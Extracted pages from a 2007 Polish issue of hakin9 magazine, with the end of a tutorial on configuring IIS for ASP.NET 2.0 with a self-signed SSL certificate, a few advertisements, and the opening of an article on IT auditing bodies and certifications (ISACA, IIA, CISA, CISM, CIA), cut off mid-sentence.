dostępnych w systemie Windows XP SP2
Rysunek 2.
Okno menedżera serwera IIS
hakin9 Nr 10/2007
www.hakin9.org
Obrona
64
Wówczas nastąpi instalacja zazna-
czonych składników. Po zakończe-
niu instalacji musimy jeszcze uru-
chomić odpowiednią usługę w sys-
temie Windows. Poprzez aplikację
Zarządzanie komputerem (Panel
sterowania / Narzędzia administra-
cyjne / Zarządzanie komputerem)
wchodzimy w listę aktualnie do-
stępnych usług systemowych (le-
wa część okna, gałąź Usługi i apli-
kacje / Usługi). W liście usług (Ry-
sunek 1) należy uruchomić: Admi-
nistrator programu IIS, Publikowa-
nie w sieci World Wide Web i ewen-
tualnie Simple Mail Transfer Proto-
col (SMTP).
Uruchomienie usług IIS może
nie wystarczyć, aby serwer WWW
był w pełni aktywny. Musimy wyko-
nać jeszcze jeden drobny zabieg. W
oknie Narzędzia administracyjne kli-
kamy dwukrotnie ikonę Internetowe
usługi informacyjne (menedżer ten
dostępny jest także w drzewie okna
Zarządzanie komputerem). Urucho-
miona zostanie aplikacja systemo-
wa Internetowe usługi informacyjne
(Rysunek 2).
W jej oknie rozwijamy elemen-
ty dostępne w lokalnym kompute-
rze i zaznaczamy pozycję Domyśl-
na witryna sieci Web. Z menu kon-
tekstowego tej pozycji wybieramy
Uruchom lub klikamy trójkąt na pa-
sku narzędzi. W tej wersji serwera
IIS ograniczeniem jest możliwość
przechowywania tylko jednej stro-
ny WWW. Standardowo skonfigu-
rowany serwer IIS w katalogu C:
\Inetpub\wwwroot powinien mieć
umieszczoną witrynę internetową.
Aby przetestować jego działanie,
umieszczamy tam plik Default.html,
w którym umieszczamy kod HTML
zaprezentowany na Listingu 1.
Myślę, że nie ma potrzeby tłu-
maczenia, co zostanie wyświetlo-
ne w oknie przeglądarki interneto-
wej podczas uruchomienia tego pli-
ku. My jednak dostęp do tej stro-
ny chcemy uzyskać z poziomu ser-
wera IIS. W tym celu uruchamiamy
przeglądarkę internetową i wpisuje-
my w niej adres http://localhost/ lub
http://127.0.0.1. Powinniśmy zoba-
czyć utworzoną przed chwilą stro-
nę (Rysunek 3).
Rejestrowanie
ASP.NET 2.0 w IIS
Należy zwrócić uwagę, że jeże-
li IIS było zainstalowane lub rein-
stalowane po zainstalowaniu plat-
formy .NET, to konieczne jest zare-
jestrowanie usług ASP.NET w ser-
werze IIS. Zrobimy to na przykła-
dzie .NET w wersji 2.0. Pliki platfor-
my .NET umieszczone są w podka-
talogu Microsoft.NET\Framework\
katalogu systemowego Windows.
Znajdujemy tam katalog, który w
nazwie po v2.0 ma najwyższy nu-
mer. W moim przypadku będzie to
katalog Microsoft.NET\Framework\
v2.0.50727. Jest tam program asp-
net_regiis.exe służący do rejestro-
wania usługi ASP.NET dla serwe-
ra IIS.
Dla pewności uruchamiamy
program aspnet_regiis.exe z para-
metrem
–ua
, aby odinstalować inne
wersje platformy .NET, które mo-
gą być zarejestrowane w serwe-
rze IIS. Następnie uruchamiamy
program aspnet_regiis.exe z pa-
rametrem
–i
. Po chwili powinniśmy
uzyskać komunikat Finished instal-
ling ASP.NET (2.0.50727). Można
teraz przetestować, czy uda nam
się uruchomić prostą aplikację
ASP.NET. Powiedzmy, że mamy
już stworzoną witrynę ASP.NET
i chcielibyśmy ją móc uruchomić
za pomocą serwera IIS. Pierwszą
czynnością, jaką musimy wyko-
nać, jest uruchomienie menedże-
ra IIS (Rysunek 2). Zaznaczamy w
nim element Domyślna witryna sie-
ci Web i wybieramy pozycję Nowy /
Katalog wirtualny... z jej menu kon-
tekstowego (menu dostępnego po
skinięciu prawym klawiszem my-
szy). Uruchomiony zostanie Kre-
ator tworzenia katalogów wirtual-
nych. Tworzymy w nim alias pod-
strony i klikamy przycisk Dalej.
Teraz korzystając z przycisku
Przeglądaj... wskazujemy katalog
projektu, który chcemy zarejestro-
wać w serwerze IIS. Ponownie kli-
kamy Dalej. Kolejna strona pozwa-
la na wybór uprawnień IIS wzglę-
dem tworzonego katalogu. W za-
leżności od typu naszego projektu
nadajemy odpowiednie prawa (od-
czyt, uruchamianie skryptów, za-
pis). Aby zakończyć pracę z kreato-
rem, klikamy jeszcze raz przycisk
Dalej, a następnie Zakończ. Jeżeli
alias został prawidłowo skonfiguro-
wany, to do gałęzi Domyślna witry-
na sieci Web dodana zostanie no-
wa pozycja o tej samej nazwie, ja-
kiej użyliśmy przy tworzeniu aliasu.
Po uruchomieniu przeglądarki bę-
dziemy mogli wpisać adres witryny
korzystając z wirtualnego katalogu,
tj. http://localhost/nazwa_aliasu/.
Naszą witrynę WWW możemy
oczywiście po prostu skopiować
do katalogu C:\Inetpub\wwwroot.
W Sieci
• http://www.iis.net/ – podstawowe źródło informacji na temat serwera IIS,
• http://en.wikipedia.org/wiki/Transport_Layer_Security – artykuł opisujący zasadę
działania protokołów SSL i TLS,
• http://www.microsoft.com/downloads/details.aspx?FamilyID=56fc92ee-a71a-
4c73-b628-ade629c89499&displaylang=en – link do pobrania pakietu IIS 6.0 Re-
source Kit Tool, w którego skład wchodzi program SelfSSL użyty w artykule do ge-
nerowania publicznego klucza dla serwera IIS,
• http://msdn.microsoft.com/vstudio/express/downloads/ – miejsce, skąd można
pobrać środowisko programistyczne Visual Web Developer Express Edition, które
umożliwia tworzenie stron ASP.NET.
Listing 1.
Testowa strona HTML
<
HTML
>
<
HEAD
>
<
TITLE
>
Test serwera WWW
<
/TITLE
>
<
/HEAD
>
<
BODY
>
Test serwera WWW
<
/BODY
>
<
/HTML
>
Konfiguracja serwera IIS dla ASP.NET z protokołem SSL
hakin9 Nr 10/2007
www.hakin9.org
65
Będzie wówczas dostępna bezpo-
średnio po wpisaniu adresu http:
//localhost/. Jeśli coś nie działa, po-
zostaje wyświetlenie pliku iis6.log
w katalogu systemowym Windows,
który zawiera informacje o działa-
niu serwera IIS. Proste strony bę-
dą na pewno działały bez zarzu-
tu. Ze skomplikowanym serwisa-
mi, które jednocześnie korzystają z
kilku technologii, sprawa może być
nieco bardziej skomplikowana i wy-
magać może instalowania dodatko-
wych komponentów.
Instalacja
certyfikatu SSL
Przechodzimy teraz do skonfigu-
rowania serwera IIS w ten sposób,
aby obsługiwał połączenia HTTPS.
Dzięki wielu kreatorom obecnym
w systemie Windows oraz odpo-
wiedniemu oprogramowaniu, czyn-
ność ta będzie również niezwy-
kle prosta. Pierwszym krokiem bę-
dzie zainstalowanie programu Sel-
fSSL, który wchodzi w skład pakie-
tu IIS 6.0 Resource Kit Tool. Ge-
neruje on publiczny klucz dla ser-
wera IIS i automatycznie konfi-
guruje go do obsługi stron typu
https://. Plik ten znajduje się w za-
sobach http://www.microsoft.com/
downloads, a pełny link do jego
pobrania jest dosyć nieciekawy:
h t t p : / / w w w . m i c r o s o f t . c o m /
downloads/details.aspx?FamilyID
=56fc92ee-a71a-4c73-b628-ade-
629c89499&displaylang=en. Na-
zwa pliku to iis60rkt.exe. Po po-
braniu uruchamiamy go. Na ekra-
nie naszego komputera powinno
pojawić się okno instalatora pakie-
tu IIS 6.0 Resource Kit Tool. Jak
zwykle w przypadku instalatorów
w systemie Windows, klikamy przy-
cisk Next. Po drodze zgadzamy się
na warunki licencji (nie mamy in-
nego wyboru, jeżeli chcemy zain-
stalować ten pakiet). Ponieważ w
skład pakietu IIS 6.0 Resource Kit
Tool wchodzi sporo programów na-
rzędziowych, a my chcemy jedynie
skonfigurować połączenie HTTPS,
to w oknie wyboru rodzaju instalacji
wybieramy opcję Custom. Umożli-
wia nam to samodzielny wybór ele-
mentów z pakietu.
Kolejnym krokiem jest wybra-
nie ścieżki dostępu, w której chce-
my zainstalować pakiet IIS 6.0 Re-
source Kit Tool. Po wyborze miej-
sca instalacji wybieramy elementy,
które chcemy zainstalować. Ponie-
waż mamy zamiar uruchomić połą-
czenie HTTPS z protokołem SSL,
wybieramy jedynie program Sel-
fSSL 1.0 (Rysunek 4). Oczywiście
nic nie stoi na przeszkodzie, aby
zainstalować wszystkie programy
wchodzące w skład IIS 6.0 Reso-
urce Kit Tool.
Przed właściwą instalacją wy-
świetlone zostanie jeszcze okno
potwierdzające wybrane przez
nas programy. Klikamy przycisk
Next i czekamy, aż instalator za-
Lista niektórych CA
• VeriSign – http://www.verisign.com/index2.html,
• Thawte – http://www.thawte.com/,
• QualitySSL – http://www.qualityssl.com/,
• ComodoSSL – http://www.instantssl.com/,
• IpsCA – http://certs.ipsca.com/,
• RapidSSL – http://www.rapidssl.com/index_ssl.htm,
• Go Daddy – https://www.godaddy.com/gdshop/ssl/ssl.asp?isc=sslsomt04,
• CAcert – http://www.cacert.org/,
• Home.pl – http://home.pl/serwery/ssl,
• Signet – http://www.signet.pl/index.html.
Rysunek 3.
Najprostszy test serwera WWW
Rysunek 4.
Wybór składników pakietu IIS 6.0 Resource Kit Tool
hakin9 Nr 10/2007
www.hakin9.org
Obrona
66
kończy kopiować pliki. Tradycyj-
nie na końcu klikamy przycisk Fi-
nish, który kończy instalację. W
ten sposób zainstalowaliśmy pro-
gram SelfSSL, generujący auto-
matycznie certyfikaty SSL i insta-
lujący je w serwerze IIS. Należy
mieć na uwadze fakt, że certyfi-
katy te nie są potwierdzane przez
żadną z wymienionych wcześniej
firm, więc przy uruchamianiu witry-
ny WWW przeglądarka interneto-
wa będzie wyświetlała odpowied-
nie ostrzeżenia.
Pozostało nam jeszcze wygene-
rowanie klucza publicznego dla ser-
wera IIS. Pakiet IIS 6.0 Resource
Kit Tool w menu Start systemu Win-
dows w katalogu Programy/IIS Re-
sources/ umieszcza wszystkie swo-
je składowe (zależnie od typu insta-
lacji). Z menu Start wybieramy ka-
talog Programy/IIS Resources/Sel-
fSSL i klikamy ikonę SelfSSL. Otwo-
rzy się widoczne na Rysunku 5 okno
komend.
W celu wygenerowania klucza
publicznego wydajemy komendę:
selfssl.exe /t
. Zostaniemy popro-
szeni o potwierdzenie instalacji cer-
tyfikatu SSL dla serwera IIS. Wpi-
sujemy z klawiatury y i przyciska-
my klawisz Enter. W ten sposób zo-
staje zainstalowany klucz publicz-
ny. Pozostałe opcje programu sel-
fssl.exe to:
•
/T
– Opcja użyta przez nas do
automatycznego wygenerowa-
nia certyfikatu. Wybiera wszyst-
kie inne parametry jako domyśl-
ne,
•
/N
– Ustala nazwę certyfikatu.
Domyślnie jest to nazwa kompu-
tera,
•
/K
– Wielkość klucza SSL. Do-
myślnie wartość ta jest równa
1024,
•
/V
– Ilość dni, jakie wygenerowa-
ny certyfikat ma obowiązywać.
Domyślnie jest to 7 dni,
•
/S
– Numer identyfikacyjny wi-
tryny na serwerze IIS. Domyślna
wartość to 1. Tu zresztą nie ma-
my zbyt wielkiego wyboru, jeżeli
serwer IIS został skonfigurowa-
ny tak jak w opisie,
•
/P
– Numer portu dla połączenia
SSL. Standardowo jest to port
443,
•
/Q
– Nadpisywanie klucza bez
potwierdzenia,
Jedyne, co nam teraz pozostaje, to
sprawdzenie, czy całość działa. Za-
kładam, że mamy zdefiniowaną pro-
stą stronę ASP.NET 2.0 w serwerze
IIS i jest ona w jego katalogu www-
root. Uruchamiamy przeglądar-
kę internetową i wpisujemy tym ra-
zem adres https://localhost. Ponie-
waż nasz certyfikat nie jest podpi-
sany przez żadną z organizacji CA,
powinniśmy zostać zapytani przez
przeglądarkę, czy akceptujemy cer-
tyfikat tej strony oraz poinformowani
o ewentualnych zagrożeniach. Jeśli
opisane kroki wykonaliśmy popraw-
nie, wówczas w przeglądarce inter-
netowej powinna się pojawić ikona
kłódki i informacja, że połączenie
jest szyfrowane.
Podsumowanie
Testowy serwer IIS wraz z obsłu-
gą połączeń HTTPS jest już skon-
figurowany. Dzięki niemu będziemy
mogli sprawdzać witryny ASP.NET
wymagające uwierzytelnienia SSL.
Ponieważ artykuł ten skierowany
jest do programistów, a jego zało-
żeniem było przedstawienie platfor-
my testowej dla witryn ASP.NET z
połączeniem HTTPS, to tak skonfi-
gurowanego serwera IIS nie nale-
ży udostępniać w Internecie – chy-
ba, że lubi się ryzyko. Udanych te-
stów! l
Rysunek 5.
Generowanie publicznego klucza dla serwera IIS
O autorach
Sławomir Orłowski – z wykształcenia fizyk. Obecnie jest doktorantem na Wydzia-
le Fizyki, Astronomii i Informatyki Stosowanej Uniwersytetu Mikołaja Kopernika w
Toruniu. Zajmuje się symulacjami komputerowymi układów biologicznych (dyna-
mika molekularna) oraz bioinformatyką. Programowanie jest nieodzowną częścią
jego pracy naukowej i dydaktycznej. Ma doświadczenie w programowaniu w języ-
kach C, C++, Delphi, Fortran, Java i Tcl. Z językiem C# i platformą .NET pracuje
od 2002 roku. Strona domowa: http://www.fizyka.umk.pl/~bigman/.
Kontakt z autorem: bigman@fizyka.umk.pl
Jacek Matulewski – fizyk zajmujący się na co dzień optyką kwantową i układa-
mi nieuporządkowanymi na Wydziale Fizyki, Astronomii i Informatyki Stosowa-
nej Uniwersytetu Mikołaja Kopernika w Toruniu. Jego specjalnością są symula-
cje ewolucji układów kwantowych oddziałujących z silnym światłem lasera. Od
1998 roku interesuje się programowaniem dla systemu Windows, w szczególno-
ści w środowisku Borland C++Builder. Ostatnio zainteresowany platformą .NET i
językiem C#. Poza opublikowanymi u nas książkami dotyczącymi programowa-
nia przygotował również cykl artykułów dla czasopisma „PC World Komputer” (od
sierpnia 2005 roku). Wierny użytkownik kupionego w połowie lat osiemdziesiątych
komputera osobistego ZX Spectrum 48k.
Kontakt z autorem: jacek@fizyka.umk.pl
Media Systems
Firma Media Systems oferuje Państwu
profesjonalny system CashBill.pl,
umożliwiający zarządzanie usługami
SMS Premium Rate w sektorze B2B
i B2C.
Oferujemy również szeroki wachlarz
usług mikropłatniczych, płatności
elektronicznych oraz indywidualne, de-
dykowane rozwiązania przy budowie
aplikacji mobilnych.
TTS Company Sp. z o.o.
Oprogramowanie
komputerowe -
sprzedaż, dystrybucja oraz import na
zamówienie. W ofercie programy au-
torstwa ponad stu firm z całego świa-
ta. Zapraszamy do współpracy - zostań
naszym klientem lub dostawcą.
www.OprogramowanieKomputerowe.pl
Zepter IT
Zepter IT to dynamicznie rozwijająca
się firma, specjalizująca się w realiza-
cji projektów informatycznych.
Oferujemy rozwiązania dla biznesu
i zarządzania takie jak systemy ERP
czyli zarządzanie zasobami firmy, pod-
noszenie jakości i obniżanie kosztów.
Zepter IT świadczy również usługi in-
ternetowe - serwisy www, e-commerce,
tworzenie aplikacji internetowych oraz
systemów zarządzania treścią.
www.zepterit.com
Pr
en
um
er
at
a
PR
O
Prenumerata PRO
ko
nt
ak
t d
o
na
s:
m
ar
ty
na
.z
ac
ze
k@
so
ft
w
ar
e.
co
m
.p
l
ka
ta
rz
yn
a.
ju
sz
cz
yn
sk
a@
so
ft
w
ar
e.
co
m
.p
l
te
l.
: 2
2
88
7
13
4
5
Petrosoft
Partner Microsoft Bussiness Solutions
Dynamics GP. Budowa sklepów inter-
netowych, serwisów WWW, prezentacji
multimedialnych. Budowa sieci LAN,
WAN, telekomunikacyjnych. Telefonia
stacjonarna, VoiceIP. Usługi outsor-
cingowe dla dużych firm z zakresu
informatyki i telekomunikacji. Opro-
gramowanie na zamówienia. Dostawa
serwerów, sprzętu, oprogramowania.
38-200 Jasło, ul. 3 Maja 101
Biuro: (13) 44 66 666
biuro@petrosoft.pl
www.hakin9.org
hakin9 Nr 10/2007
68
Bezpieczna Firma
A
udyt informatyczny (wg. ISACA) – jest
to proces zbierania i oceniania dowo-
dów w celu określenia, czy system in-
formatyczny i związane z nim zasoby właści-
wie chronią majątek, utrzymują integralność
danych, dostarczają odpowiednich i rzetelnych
informacji, osiągają efektywnie cele organiza-
cji, oszczędnie wykorzystują zasoby i stosują
mechanizmy kontroli wewnętrznej tak, aby do-
starczyć rozsądnego zapewnienia, że osiąga-
ne są cele operacyjne i kontrolne oraz że chro-
ni się przed niepożądanymi zdarzeniami lub są
one na czas wykrywane, a ich skutki na czas
korygowane.
Nikogo nie trzeba przekonywać, że współ-
czesne środowisko zarówno międzynarodo-
wego, jak i lokalnego biznesu nie może się
obyć bez wsparcia ze strony rozwiązań infor-
matycznych. Ciągły rozwój nowych technolo-
gii usprawnia działanie firmy, wspomaga osią-
ganie celów biznesowych i zwiększa konku-
rencyjność organizacji. Pomimo tak wielu za-
let, jakie przynosi informatyzacja dla instytucji
i podmiotów gospodarczych, musimy przyjrzeć
się zagrożeniom, jakim w związku z nią przyj-
dzie nam stawić czoła. Badania Europejskie-
go Instytutu Zarządzania dowodzą, że co ro-
ku każda duża firma traci około 1,6 mln euro w
wyniku nieodpowiedniego zarządzania infra-
strukturą i systemami informatycznymi. Szacu-
je się również, że w małych i średnich firmach
jest podobny problem – straty w przychodach
z tytułu złego zarządzania w IT sięgają 15%
– 25%. Według badań uniwersytetu w Chicago
połowa firm, którym skradziono dane, bankru-
tuje prawie natychmiast, zaś 30% w ciągu na-
stępnego roku. Potrzeba i konieczność ochro-
ny informacji przed stale rosnącą liczbą nad-
użyć, świadomych lub nieświadomych działań
lub też zaniechania poczynań przeciw zagro-
Audyt systemów
informatycznych
Wojciech Malec
stopień trudności
Żadne rozwiązania informatyczne nie są w pełni doskonałe,
a sama organizacja bezpieczeństwa teleinformatycznego nie jest
łatwym zadaniem. Taka sytuacja rodzi duże prawdopodobieństwo
powstania nieprawidłowości i nadużyć, które nieuchronnie
prowadzą do braku osiągnięcia celów biznesowych, poniesienia
strat finansowych lub też upadłości organizacji.
Z artykułu dowiesz się
• co to jest i jak powstał audyt informatyczny,
• jakie są najważniejsze organizacje zawodowe
właściwe dla audytu informatycznego, jakie są
certyfikaty dla audytorów i w jakim celu są wy-
dawane.
Co powinieneś wiedzieć
• znać podstawowe zasady bezpieczeństwa in-
formatycznego.
Audyt systemów informatycznych
hakin9 Nr 10/2007
www.hakin9.org
69
żeniom jest oczywista. Liczba spo-
sobów ochrony przed zagrożenia-
mi, a także narzędzi pomocniczych,
stale wzrasta. Dobór odpowiednich
mechanizmów tak, aby odpowiada-
ły potrzebom i możliwościom organi-
zacji wymaga zastosowania dodat-
kowych narzędzi. Do tych właśnie
celów ma zastosowanie audyt sys-
temów informatycznych. Jako nie-
zależne źródło kontroli organizacji
bezpieczeństwa systemów informa-
tycznych, audyt nie tylko weryfikuje
dobór zastosowanych środków, ale
bardzo często zapobiega naduży-
ciom i przestępstwom wymierzo-
nym w organizację. Ceny audytów
informatycznych są zależne od ich
zakresu. Jeśli chodzi tylko o audyt
sprzętu, oprogramowania na nim za-
instalowanego i jego legalności, na-
leży liczyć ok. 90 PLN za stację ro-
boczą.
Historia audytu
informatycznego
Audyt jako pierwszy pojawił się w
sektorze finansów, gdzie badano
sprawozdania finansowe przedsię-
biorstw i instytucji. W obszarze au-
dytu finansowego powołano orga-
nizacje, które mają za zadanie po-
twierdzić kwalifikacje audytorów
ksiąg rachunkowych poprzez certy-
fikację. Z tą dziedziną związana jest
międzynarodowa organizacja Asso-
ciation of Chartered Certified Acco-
untants – Stowarzyszenie Certyfiko-
wanych Księgowych a w Polsce Kra-
jowa Izba Biegłych Rewidentów. Na-
stępnym krokiem przyczyniającym
się do rozwoju audytu było rozpropa-
gowanie i rozwój audytu wewnętrz-
nego. W tej dziedzinie powstała
międzynarodowa organizacja Insty-
tut Audytorów Wewnętrznych – In-
stitute of Internal Auditors, do kom-
petencji której należy między inny-
mi ustalanie właściwych standar-
dów. W Polsce odpowiednikiem tej
organizacji jest Polski Instytut Kon-
troli Wewnętrznej. Z początku przed-
miotem audytu była tylko dziedzina
finansowa, później nastąpiła ewolu-
cja i zakres audytu rozszerzył się na
wszystkie procesy występujące w in-
stytucji. Trudności w organizacji, za-
rządzaniu i kontroli energicznie roz-
wijających się technologii informa-
tycznych, jak również stale rosnące
zagrożenia mające wpływ na bez-
pieczeństwo informacji, spowodo-
wały powstanie audytu informatycz-
nego. Tak jak w przypadku audytu fi-
nansowego, instytucje zaczęły two-
rzyć specjalne działy wyspecjalizo-
wane w prowadzeniu audytu infor-
matycznego.
Organizacje zawodowe
W ramach audytów finansowych
powstały organizacje zrzeszają-
ce i w pewien sposób autoryzujące
profesjonalistów w dziedzinie audy-
tu finansowego. Podobnie stało się
w obszarze audytu informatyczne-
go. Potrzeba kontaktów w celach
wymiany poglądów, wiedzy i do-
świadczeń, a także ustalania stan-
dardów wśród audytorów informa-
tycznych zaowocowała powstaniem
organizacji zawodowych jednoczą-
cych ludzi wykonujących wspólną
profesję.
ISACA
Information Systems Audit and Con-
trol Organisation – pierwsza i naj-
większa międzynarodowa organiza-
cja w dziedzinie audytu informatycz-
nego powstała w roku 1967. Dziś li-
czy ponad 50 000 osób w prze-
szło 140 krajach na całym świecie.
W Polsce od 1997 roku istnieje je-
den oddział stowarzyszenia – ISA-
CA Warsaw Charter. Organizacja ta
ma na celu podnoszenie wiedzy oraz
praktyki w obszarze audytu i kontro-
li systemów informatycznych. Człon-
kowie stowarzyszenia i posiadacze
certyfikatów ISACA są zobowiąza-
ni do przestrzegania zasad postę-
powania Kodeksu Etyki Zawodowej.
ISACA wspiera i promuje także stan-
dardy i dobre praktyki skutecznego
zarządzania oraz kontroli technolo-
gii informatycznych. Stowarzysze-
nie to jest między innymi autorem
programu PSS – Professional Semi-
nar Series, wydaje certyfikaty CISA
– Certified Information Systems Au-
ditor i CISM – Certified Information
Security Manager. Najbardziej zna-
nym standardem zarządzania i kon-
troli systemów informatycznych tej
organizacji jest COBIT – Control Ob-
jectives for Information and Related
Technology. Innym znanym standar-
dem audytu środowiska sieciowego
jest CONeCT – Control Objectives
for Net Centric Technology.
IIA
The Institute of Internal Auditors – to
międzynarodowa organizacja sku-
piająca audytorów wewnętrznych
(ponad 80 tysięcy członków w 120
krajach). Polski oddział został zare-
jestrowany w 2002 roku jako Stowa-
rzyszenie Audytorów Wewnętrznych
IIA-Polska. Organizacja ta zrzesza
zarówno obecnych audytorów, jak i
kandydatów. Do stowarzyszenia mo-
gą należeć także inne osoby zainte-
resowane tą profesją – kontrolerzy,
księgowi, członkowie rad nadzor-
czych, pracownicy naukowi, studen-
ci związanych kierunków.
Główne cele IIA:
• działalność promocyjna audytora
wewnętrznego,
• upowszechnianie międzynarodo-
wych Standardów Profesjonalnej
Praktyki Audytu Wewnętrznego,
• podejmowanie i prowadzenie
działalności w zakresie doskona-
lenia kwalifikacji dla prawidłowe-
go wykonywania zawodu audyto-
ra wewnętrznego oraz możliwo-
ści zatrudnienia,
• reprezentowanie i ochrona praw i
interesów zawodowych członków
stowarzyszenia,
• krzewienie poczucia godności i
wspólnoty zawodowej oraz upo-
wszechnienie pozycji i znaczenia
zawodu audytora wewnętrznego,
• stworzenie forum wymiany do-
świadczeń,
• krzewienie i propagowanie za-
sad etyki i rzetelności, lojalności
zawodowej oraz uczciwej konku-
rencji,
• czuwanie nad przestrzeganiem
tych zasad,
• prowadzenie działalności nauko-
wo-dydaktycznej (w tym również
kształcenie studentów), jak i sze-
roko rozumianej działalności kul-
turalnej.
hakin9 Nr 10/2007
www.hakin9.org
Bezpieczeństwo w firmie
70
Instytut Audytorów Wewnętrznych
daje możliwość uzyskania certyfi-
katów zawodowych poświadczają-
cych międzynarodowe przygotowa-
nie zawodowe w zakresie audytu
wewnętrznego. Zasadniczym mię-
dzynarodowym certyfikatem jest CIA
– Certified Internal Auditor.
PIKW
Polski Instytut Kontroli Wewnętrznej
– jest to instytucja założona w roku
1998, która przygotowuje kadry do
oceny systemów kontroli wewnętrz-
nej i profesjonalnego wykonywania
zawodu audytora wewnętrznego.
Organizacja ta zajmuje się proble-
matyką systemów kontroli wewnętrz-
nej, audytu wewnętrznego, proce-
sów zarządzania ryzykiem, zarzą-
dzania korporacyjnego (governan-
ce), wykrywania i zapobiegania ko-
rupcji, oszustwom oraz nadużyciom.
Wspomaga też kształcenie audyto-
rów i kontrolerów wewnętrznych za-
trudnionych we wszystkich organi-
zacjach gospodarki i administracji
państwowej w Polsce. Instytut ten
współpracuje z międzynarodowymi
organizacjami, dostosowuje najlep-
sze standardy i praktyki stosowane
na całym świecie (szczególnie w kra-
jach UE) do polskich warunków.
Certyfikacja
W celu uwiarygodnienia dostaw-
ców usług audytorskich o należy-
tym poziomie profesjonalizmu, za-
istniała potrzeba udokumentowania
i potwierdzenia uprawnień oraz obo-
wiązków. Dla poświadczenia kompe-
tencji grupy zawodowej audytorów
systemów informatycznych, właści-
we organizacje opracowały progra-
my certyfikujące.
CISA
Certified Information Systems Au-
ditor – to międzynarodowy program
certyfikacji audytorów systemów in-
formatycznych opracowany przez
organizację ISACA. Certyfikat ten
ma za zadanie utrzymanie właści-
wego poziomu zawodowego osób
związanych z bezpieczeństwem in-
formatycznym. Nad rozwojem syste-
mu certyfikacji czuwa specjalnie do
tego celu wyznaczony komitet – CI-
SA Certification Board.
Cel programu certyfikacji:
• rozwój i utrzymanie narzędzi te-
stowania, służących do oceny in-
dywidualnych kompetencji w za-
kresie audytów informatycznych,
• dostarczanie mechanizmów mo-
tywujących do utrzymywania
swoich kompetencji oraz moni-
torowania efektów programów
szkoleniowych,
• pomoc kadrze kierowniczej w
rozwijaniu funkcji kontroli syste-
mów informatycznych.
Certyfikat ten posiada już około 12
000 osób na całym świecie. Egza-
min odbywa się dwa razy do roku: w
drugą sobotę czerwca i drugą sobotę
grudnia. W Polsce egzamin ma miej-
sce w Warszawie. Wymagania dla
kandydatów chcących uzyskać cer-
tyfikat CISA:
• udokumentowanie minimum pię-
ciu lat praktyki w zakresie audy-
tu, kontroli i bezpieczeństwa sys-
temów informatycznych,
• opłacenie kosztów egzaminu,
• zdanie egzaminu,
• stosowanie Kodeksu Etyki Zawo-
dowej ISACA.
Certyfikat CISA ma obecnie dość
duże znaczenie na rynku pracy, sta-
nowi bowiem poświadczenie kompe-
tencji zawodowych osoby posiadają-
cej certyfikat oraz stałe podnosze-
nie kwalifikacji dzięki polityce ciągłe-
go kształcenia. Z tego także powo-
du liczba kandydatów do egzaminu
CISA stale wzrasta. Egzamin CISA
składa się z 200 pytań. Do każdego
pytania są cztery odpowiedzi, z któ-
rych jedna jest poprawna. Egzamin
trwa cztery godziny, prowadzony jest
w językach: angielskim, duńskim,
francuskim, hebrajskim, hiszpań-
skim, japońskim, koreańskim, nie-
mieckim i włoskim. Wiedzę z zakre-
su egzaminu można zdobyć na spe-
cjalnych szkoleniach przygotowa-
nych przez stowarzyszenie ISACA.
Również uczelnie – zarówno pań-
stwowe, jak i prywatne – dają moż-
liwość pogłębienia tej wiedzy na róż-
nego rodzaju studiach podyplomo-
wych. Koszt certyfikacji to wydatek
360 – 530 USD w zależności od ter-
minu rejestracji na egzamin i przyna-
leżność do organizacji ISACA. Zniż-
ki są przyznawane dla członków or-
ganizacji i przy wcześniejszym zgło-
szeniu on-line na stronie http://
www.isaca.org/examreg.
Zagadnienia obowiązujące na
egzaminie CISA:
• proces audytowania systemów
informatycznych – 10% pytań,
• zarządzanie, planowanie i orga-
nizacja systemów informatycz-
nych – 11% pytań,
• infrastruktura techniczna i prak-
tyki operacyjne – 13% pytań,
• ochrona zasobów informacyj-
nych – 25% pytań,
• odtwarzanie po katastrofach i
ciągłość biznesu – 10% pytań,
• rozwój, nabywanie, wdrażanie i
utrzymywanie biznesowych sys-
temów aplikacyjnych – 16% py-
tań,
• ocena procesu biznesowego i
zarządzanie ryzykiem – 15% py-
tań.
CISM
Certified Information Security Ma-
nager – jest to certyfikat opracowa-
ny także przez organizację ISACA,
jednak skierowany dla zarządzają-
cych, projektujących, wdrażających
i rozwijających proces bezpieczeń-
stwa organizacji. Osoby szczególnie
zasłużone dla rozwoju audytu sys-
temów informatycznych otrzymały
ten certyfikat jako pierwsze. Obec-
nie, aby móc tytułować się tym cer-
tyfikatem, oprócz udokumentowania
wieloletniego doświadczenia zawo-
dowego, należy także zdać egzamin.
Egzamin CISM odbywa się w tych
Literatura
Marian Molski, Małgorzata Łacheta,
Przewodnik audytora systemów informa-
tycznych, Wydawnictwo HELION, 2007.
Tomasz Polaczek, Audyt bezpieczeń-
stwa informacji w praktyce, Wydawnic-
two HELION, 2006.
Audyt systemów informatycznych
hakin9 Nr 10/2007
www.hakin9.org
71
samych terminach co CISA, forma
egzaminu jest też bardzo podobna.
Koszt certyfikacji jest zależny termi-
nu egzaminu i przynależności do or-
ganizacji ISACA, wynosi identycz-
nie jak w przypadku egzaminu CISA
od 360 do 530 USD. Wymagania dla
kandydatów chcących uzyskać cer-
tyfikat CISM:
• udokumentowanie minimum pię-
ciu lat praktyki w obszarze bez-
pieczeństwa systemów informa-
tycznych,
• opłacenie kosztów egzaminu,
• zdanie egzaminu CISM,
• stosowanie Kodeksu Etyki Zawo-
dowej ISACA.
CIA
Certified Internal Auditor – certyfikat
ten oferowany jest przez organizację
IIA. Sprawdza i zaświadcza wiedzę
i umiejętności w zakresie niezbęd-
nym do wykonywania zawodu audy-
tora wewnętrznego. Wymagania dla
kandydatów chcących uzyskać cer-
tyfikat CIA:
• posiadanie minimum dwuletnie-
go doświadczenia w audycie we-
wnętrznym,
• przedstawienie poświadczenia o
postawie zawodowej i moralnej
kandydata,
• ukończenie studiów wyższych z
dyplomem minimum licencjata,
• zdanie czterech części egzami-
nu.
Instytut IIA przyznał już ponad 40
tysięcy takich certyfikatów. Oferuje
także trzy inne specjalistyczne cer-
tyfikaty:
• CFSA – Certified Financial Servi-
ces Auditor,
• CGAP – Certified Government
Auditing Professional,
• CCSA – Certification in Control
Self-Assessment.
Egzaminy CIA odbywają się dwa ra-
zy do roku – w maju i listopadzie, tak-
że w Polsce. Szkolenia przygotowaw-
cze prowadzi między innymi Ernst &
Young Academy of Business. Koszt
uzyskania certyfikatu obejmuje opła-
tę rejestracyjną ważną przez 2 lata,
która wynosi 30 USD dla studentów,
60 USD dla członków IIA lub 75 USD
dla pozostałych osób. Za każdy egza-
min należy uiścić opłatę w wysokości
